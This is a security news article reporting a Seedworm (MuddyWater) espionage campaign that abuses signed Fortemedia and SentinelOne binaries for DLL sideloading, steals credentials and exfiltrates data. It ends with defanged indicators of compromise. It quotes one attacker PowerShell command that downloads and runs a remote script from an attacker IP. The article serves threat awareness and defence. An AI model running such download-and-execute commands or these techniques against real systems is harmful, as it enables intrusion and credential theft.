Seedworm APT Abuses Signed Binaries for DLL Sideloading

Seedworm also known as MuddyWater, Temp Zagros, and Static Kitten is widely attributed to Iran’s Ministry of Intelligence and Security (MOIS).

An Iran-linked cyber-espionage group has launched a stealthy global campaign, abusing trusted software to infiltrate high-value targets quietly.

The campaign impacted at least nine organizations across four continents, spanning sectors such as industrial manufacturing, financial services, education, government, and aviation.

Victims included a major South Korean electronics manufacturer, a Middle Eastern airport, and multiple Southeast Asian and Latin American entities.

The group’s targeting suggests a clear intelligence-gathering objective: focusing on organizations that hold valuable intellectual property, government data, or access to downstream clients.

Security researchers at Symantec observed the activity in early 2026, where the Seedworm APT leveraged signed binaries from Fortemedia and SentinelOne to execute malicious code while evading detection.

A defining feature of this campaign is the abuse of legitimate, signed executables to sideload malicious DLLs:

• fmapp.exe (Fortemedia): Used to load a malicious fmapp.dll.
• sentinelmemoryscanner.exe (SentinelOne): Used to load sentinelagentcore.dll.

Both binaries are valid and signed, allowing attackers to bypass signature-based defenses and blend into normal system activity. Notably, abusing a security vendor’s binary adds an extra layer of deception during incident response.

The malicious DLLs deployed a tool called ChromElevator, capable of extracting sensitive data such as browser-stored passwords, cookies, and payment information from Chromium-based browsers.

Seedworm APT Abuses Signed Binaries

Seedworm introduced a notable shift in tradecraft by orchestrating attacks through Node.js. Node.exe acted as the parent process for multiple activities, including DLL sideloading and script execution.

A Node.js-based implant delivered several PowerShell scripts responsible for:

• System reconnaissance (whoami, hostname, domain queries).
• Screenshot capture of user activity.
• Credential harvesting via SAM/SECURITY/SYSTEM hive dumps.
• Establishing SOCKS5 reverse proxy tunnels for persistent access.

For example, attackers executed:

powershell -NoProfile -Command “iex (New-Object Net.WebClient).DownloadString(‘http://179.43.177[.]220:8080/nm.ps1’)”

This modular approach allowed flexible payload delivery while reducing reliance on traditional PowerShell-only techniques.

The attackers deployed multiple credential-harvesting tools, including one that leveraged the Windows API CredUIPromptForWindowsCredentialsW to trick users into entering credentials via a legitimate-looking prompt. Stolen data was stored locally for later exfiltration.

Another tool abused Kerberos delegation via GSS-API to extract Ticket Granting Tickets (TGTs), enabling privilege escalation without requiring plaintext passwords. This indicates a deliberate attempt to gain domain-level access.

Instead of using custom command-and-control infrastructure, Seedworm exfiltrated stolen data through sendit[.]sh, a public file-sharing platform.

This tactic helps blend malicious traffic with legitimate usage, making detection more difficult at the network level.

The intrusion into the South Korean manufacturer began on February 20, 2026, with automated reconnaissance commands executed via Node.js. Within minutes, the attackers captured screenshots and began downloading additional payloads.

DLL sideloading occurred shortly after, followed by persistence via registry run keys. Over the next several days, the attackers conducted repeated credential dumping, reconnaissance, and data exfiltration, interspersed with quiet periods consistent with automated beaconing.

Activity continued intermittently until February 27, demonstrating a controlled, multi-stage operation rather than rapid smash-and-grab tactics.

This campaign highlights Seedworm’s increasing sophistication. While DLL sideloading and PowerShell abuse are not new, their combination with Node.js orchestration, signed security binaries, and public exfiltration channels reflects improved operational discipline.

The shift toward quieter, modular techniques suggests the group is adapting to modern detection capabilities. By blending malicious activity with legitimate tools and services, Seedworm continues to raise the bar for stealth in state-sponsored cyber espionage.

IOCs

File Indicators	Network IOCs
e25892603c42e34bd7ba0d8ea73be600d898cadc290e3417a82c04d6281b743b – fmapp.exe	179.43.177[.]220
c6182fd01b14d84723e3c9d11bc0e16b34de6607ccb8334fc9bb97c1b44f0cde – fmapp.dll	178.128.233[.]36
128b58a2a2f1df66c474094aacb7e50189025fbf45d7cd8e0834e93a8fbed667 – sentinelmemoryscanner.exe	172.67.156[.]47
0c9b911935a3705b0ad569446804d80026feb6db3884aeb240b6c76e9b8cf139 – sentinelagentcore.dll	104.21.48[.]205
74ab3838ebed7054b2254bf7d334c80c8b2cfec4a97d1706723f8ea55f11061f – Privilege escalation tool	timetrakr[.]cloud
3ee7dab4ae4f6d4f16dfabb6f38faef370411a9fc00ff035844e54703b99600a – SAM hive credential extractor	37.187.78[.]41
bee79c3302b1a7afc0952842d14eff83a604ef00bfdae525176c16c80b2045f7 – SAM hive credential extractor	34.117.59[.]81
d587959841a763669279ad831b8f0379f6a7b037dffc19deab5d41f37f8b5ffc – Credential harvester	sendit[.]sh
b21c802775df0c0d82c8cfde299084abc624898b10258db641b820172a0ba29a – Socks5 proxy tool	http://179.43.177[.]220:8080/nm.ps1
	http://179.43.177[.]220:8080/a.dat
	http://179.43.177[.]220:8080/a.exe
	http://ipinfo[.]io/json
	https://svc.wompworthy[.]com

Note: IP addresses and domains are intentionally defanged (e.g., [.]) to prevent accidental resolution or hyperlinking. Re-fang only within controlled threat intelligence platforms such as MISP, VirusTotal, or your SIEM.

Follow us on Google News, LinkedIn, and X to Get Instant Updates and Set GBH as a Preferred Source in Google.